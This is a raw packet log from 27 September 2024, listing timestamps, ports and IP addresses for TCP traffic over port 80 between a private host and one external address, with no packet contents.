Sep 27, 2024 12:51:43.678308010 CEST	80	49171	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:44.139916897 CEST	80	49171	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:44.140121937 CEST	49171	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:44.436505079 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:44.441519022 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:44.441608906 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:44.441849947 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:44.446707964 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:44.948348999 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:44.948379040 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:44.948394060 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:44.948409081 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:44.948422909 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:44.948436022 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:44.948448896 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:44.948463917 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:44.948472977 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:44.948514938 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:44.948514938 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:44.948668003 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:44.948678017 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:44.948713064 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:44.953325033 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:44.953361988 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:44.953372002 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:44.953380108 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:44.953403950 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.181586027 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.199011087 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.199083090 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.199086905 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.199120998 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.199136972 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.199155092 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.199162006 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.199189901 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.199198961 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.199235916 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.199240923 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.199286938 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.199292898 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.199325085 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.199337959 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.199358940 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.199364901 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.199398994 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.199429035 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.199508905 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.199532986 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.199548960 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.199563980 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.199609041 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.199686050 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.199718952 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.199739933 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.199750900 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.199760914 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.199784040 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.199789047 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.199815989 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.199829102 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.199858904 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.199865103 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.199909925 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.200089931 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.200123072 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.200135946 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.200155973 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.200169086 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.200189114 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.200201035 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.200222015 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.200232983 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.200254917 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.200262070 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.200298071 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.204372883 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.204431057 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.204438925 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.204484940 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.204509974 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.204555035 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.204933882 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.204977989 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.204982996 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.205019951 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.205024958 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.205053091 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.205063105 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.205087900 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.205095053 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.205141068 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.205702066 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.205749035 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.205872059 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.205916882 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.205919027 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.205951929 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.205961943 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.205986023 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.206005096 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.206015110 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.206542969 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.206593037 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.206593990 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.206626892 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.206635952 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.206671000 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.206710100 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.206743002 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.206756115 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.206784964 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.209193945 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.209249020 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.209253073 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.209287882 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.209297895 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.209351063 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.209372997 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.209424973 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.209436893 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.209470034 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.209489107 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.209507942 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.209551096 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.209584951 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.209599972 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.209621906 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.210253954 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.210310936 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.210328102 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.210361004 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.210378885 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.210393906 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.210788012 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.210820913 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.210844994 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.210860968 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.210920095 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.210952044 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.210971117 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.210983038 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.210985899 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.211033106 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.211647987 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.211699009 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.211700916 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.211735010 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.211743116 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.211777925 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.211817980 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.211850882 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.211863041 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.211895943 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.260879040 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.265805960 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.265860081 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.265873909 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.265892982 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.265911102 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.265921116 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.266086102 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.266118050 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.266129017 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.266149998 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.266166925 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.266182899 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.266186953 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.266222000 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.266264915 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.266297102 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.266309977 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.266330004 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.266339064 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.266361952 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.266374111 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.266412973 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.266422033 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.266449928 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.266463995 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.266495943 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.266604900 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.266649961 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.266654968 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.266688108 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.266701937 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.266716003 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.266812086 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.266843081 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.266850948 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.266875982 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.266887903 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.266912937 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.266918898 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.266954899 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.267117023 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.267148972 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.267160892 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.267182112 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.267194033 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.267215014 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.267225027 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.267247915 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.267256975 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.267282009 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.267291069 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.267323971 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.267458916 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.267504930 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.267508984 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.267540932 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.267550945 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.267585039 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.267666101 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.267698050 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.267709970 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.267782927 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.267800093 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.267817020 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.267822027 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.267858982 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.268022060 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.268054962 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.268071890 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.268090963 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.268099070 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.268124104 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.268136978 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.268157959 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.268166065 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.268189907 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.268202066 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.268233061 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.268371105 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.268402100 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.268413067 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.268435955 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.268446922 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.268480062 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.268516064 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.268548965 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.268559933 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.268580914 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.268591881 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.268615007 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.268627882 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.268650055 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.268713951 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.268755913 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.270744085 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.270797014 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.270797968 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.270839930 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.270847082 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.270880938 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.270893097 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.270914078 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.270924091 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.270956993 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.272064924 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.272114992 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.272115946 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.272150040 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.272161007 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.272193909 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.272310019 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.272341967 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.272358894 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.272368908 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.272375107 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.272408962 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.272419930 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.272443056 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.272448063 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.272474051 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.272485971 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.272507906 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.272516012 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.272552967 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.328115940 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.333030939 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.333096027 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.333108902 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.333142996 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.333148003 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.333184958 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.333239079 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.333271027 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.333272934 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.333304882 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.333309889 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.333339930 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.333339930 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.333380938 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.333442926 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.333486080 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.333575010 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.333625078 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.333631992 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.333659887 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.333672047 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.333705902 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.333714008 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.333739042 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.333739042 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.333775043 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.333777905 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.333811045 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.333817005 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.333844900 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.333856106 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.333884001 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.334001064 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.334043980 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.334209919 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.334243059 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.334252119 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.334275961 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.334281921 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.334309101 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.334311008 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.334341049 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.334345102 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.334374905 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.334379911 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.334407091 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.334414959 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.334439993 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.334445953 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.334472895 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.334481001 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.334505081 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.334511042 CEST	49172	80	192.168.2.22	104.168.32.148
